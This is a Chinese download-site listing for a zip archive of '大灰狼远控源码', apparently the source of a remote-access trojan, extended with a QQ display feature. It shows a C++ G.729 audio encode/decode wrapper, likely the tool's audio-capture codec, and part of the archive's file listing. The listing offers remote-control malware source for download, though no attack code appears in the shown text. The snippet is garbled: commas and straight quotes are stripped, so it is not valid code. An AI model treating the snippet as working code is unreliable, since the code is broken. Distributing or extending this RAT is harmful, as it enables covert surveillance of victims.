• 大小: 13.17M
    文件类型: .zip
    金币: 2
    下载: 2 次
    发布日期: 2024-02-02
  • 语言: 其他
  • 标签: 其他  

资源简介

大灰狼远控源码增加QQ显功能.zip

资源截图

代码片段和文件信息

//#include “stdafx.h“
#include “AudioCode.h“

extern “C“ void va_g729a_init_encoder();
extern “C“ void va_g729a_encoder(short *speech unsigned char *bitstream);
extern “C“ void va_g729a_init_decoder();
extern “C“ void va_g729a_decoder(unsigned char *bitstream short *synth_short int bfi);
#define  L_frame_COMPRESSED 10
#define  L_frame            80

// 引入G729包
#pragma comment(lib“G729a.lib“)

// constructor/destructor
CAudioCode::CAudioCode()
{
va_g729a_init_encoder();
va_g729a_init_decoder();
}

CAudioCode::~CAudioCode()
{
}

/**
 * 音频编码函数
 */
BOOL CAudioCode::EncodeAudioData(char *pinint lenchar* poutint* lenr)
{
BOOL bRet=FALSE;

if(!pin||len!=SIZE_AUDIO_frame||!pout)
goto RET;

va_g729a_encoder((short*)pin(BYTE*)pout);
va_g729a_encoder((short*)(pin+160)(BYTE*)pout+10);
va_g729a_encoder((short*)(pin+320)(BYTE*)pout+20);
va_g729a_encoder((short*)(pin+480)(BYTE*)pout+30);
va_g729a_encoder((short*)(pin+640)(BYTE*)pout+40);
va_g729a_encoder((short*)(pin+800)(BYTE*)pout+50);

if(lenr)
*lenr=SIZE_AUDIO_PACKED;

bRet=TRUE;
RET:
return bRet;
}

/**
 * 音频解码函数
 */
BOOL CAudioCode::DecodeAudioData(char *pinint lenchar* poutint* lenr)
{
BOOL bRet=FALSE;
if(!pin||len!=SIZE_AUDIO_PACKED||!pout)
goto RET;

va_g729a_decoder((BYTE*)pin(short*)(pout)0);
va_g729a_decoder((BYTE*)pin+10(short*)(pout+160)0);
va_g729a_decoder((BYTE*)pin+20(short*)(pout+320)0);
va_g729a_decoder((BYTE*)pin+30(short*)(pout+480)0);
va_g729a_decoder((BYTE*)pin+40(short*)(pout+640)0);
va_g729a_decoder((BYTE*)pin+50(short*)(pout+800)0);

if(lenr)
*lenr=SIZE_AUDIO_frame;

bRet=TRUE;
RET:
return bRet;
}

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-01-19 21:17  大灰狼远控源码+增加QQ显功能\
     目录           0  2018-01-19 21:17  大灰狼远控源码+增加QQ显功能\Bin\
     目录           0  2018-01-19 21:16  大灰狼远控源码+增加QQ显功能\Bin\Control\
     文件      895921  2008-05-24 15:18  大灰狼远控源码+增加QQ显功能\Bin\Control\QQWry.dat
     目录           0  2018-01-19 17:30  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\
     文件       25214  2006-12-10 21:06  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\01.ico
     文件       22486  2006-11-26 01:37  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\02.ico
     文件       19790  2007-03-17 23:11  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\03.ico
     文件        3262  2012-11-11 10:07  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\04.ico
     文件       14742  2006-11-13 21:40  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\05.ico
     文件        8478  2001-04-02 18:32  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\06.ico
     文件       11886  2001-03-22 21:33  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\07.ico
     文件        1078  1998-10-26 05:37  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\08.ico
     文件        8478  2001-03-21 13:52  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\09.ico
     文件       10134  2011-06-12 20:17  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\10.ico
     文件        2238  1999-08-24 13:13  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\11.ico
     文件        2238  1999-08-24 13:14  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\12.ico
     文件        1078  1998-06-22 07:06  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\13.ico
     文件        1078  2003-01-10 20:36  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\14.ICO
     文件       11502  2001-04-02 18:59  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\15.ico
     文件       18718  2012-07-08 09:20  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\17.ICO
     文件       25214  2012-06-16 23:18  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\24.ico
     文件       28902  2009-06-25 20:45  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\28.ico
     文件         766  2011-07-04 18:23  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\29.ico
     文件       25022  2011-04-23 18:38  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\30.ico
     文件       13942  2010-10-27 23:46  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\32.ico
     文件       22486  2006-11-26 01:37  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\36.ico
     文件        4286  2012-11-11 10:14  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\39.ico
     文件        5632  2014-05-14 19:13  大灰狼远控源码+增加QQ显功能\Bin\ICO图标\Thumbs.db
     目录           0  2018-01-19 21:16  大灰狼远控源码+增加QQ显功能\Bin\Plugins\
     文件      659488  2018-01-17 20:58  大灰狼远控源码+增加QQ显功能\Bin\Plugins\Consys21.dll
............此处省略653个文件信息

评论

共有 条评论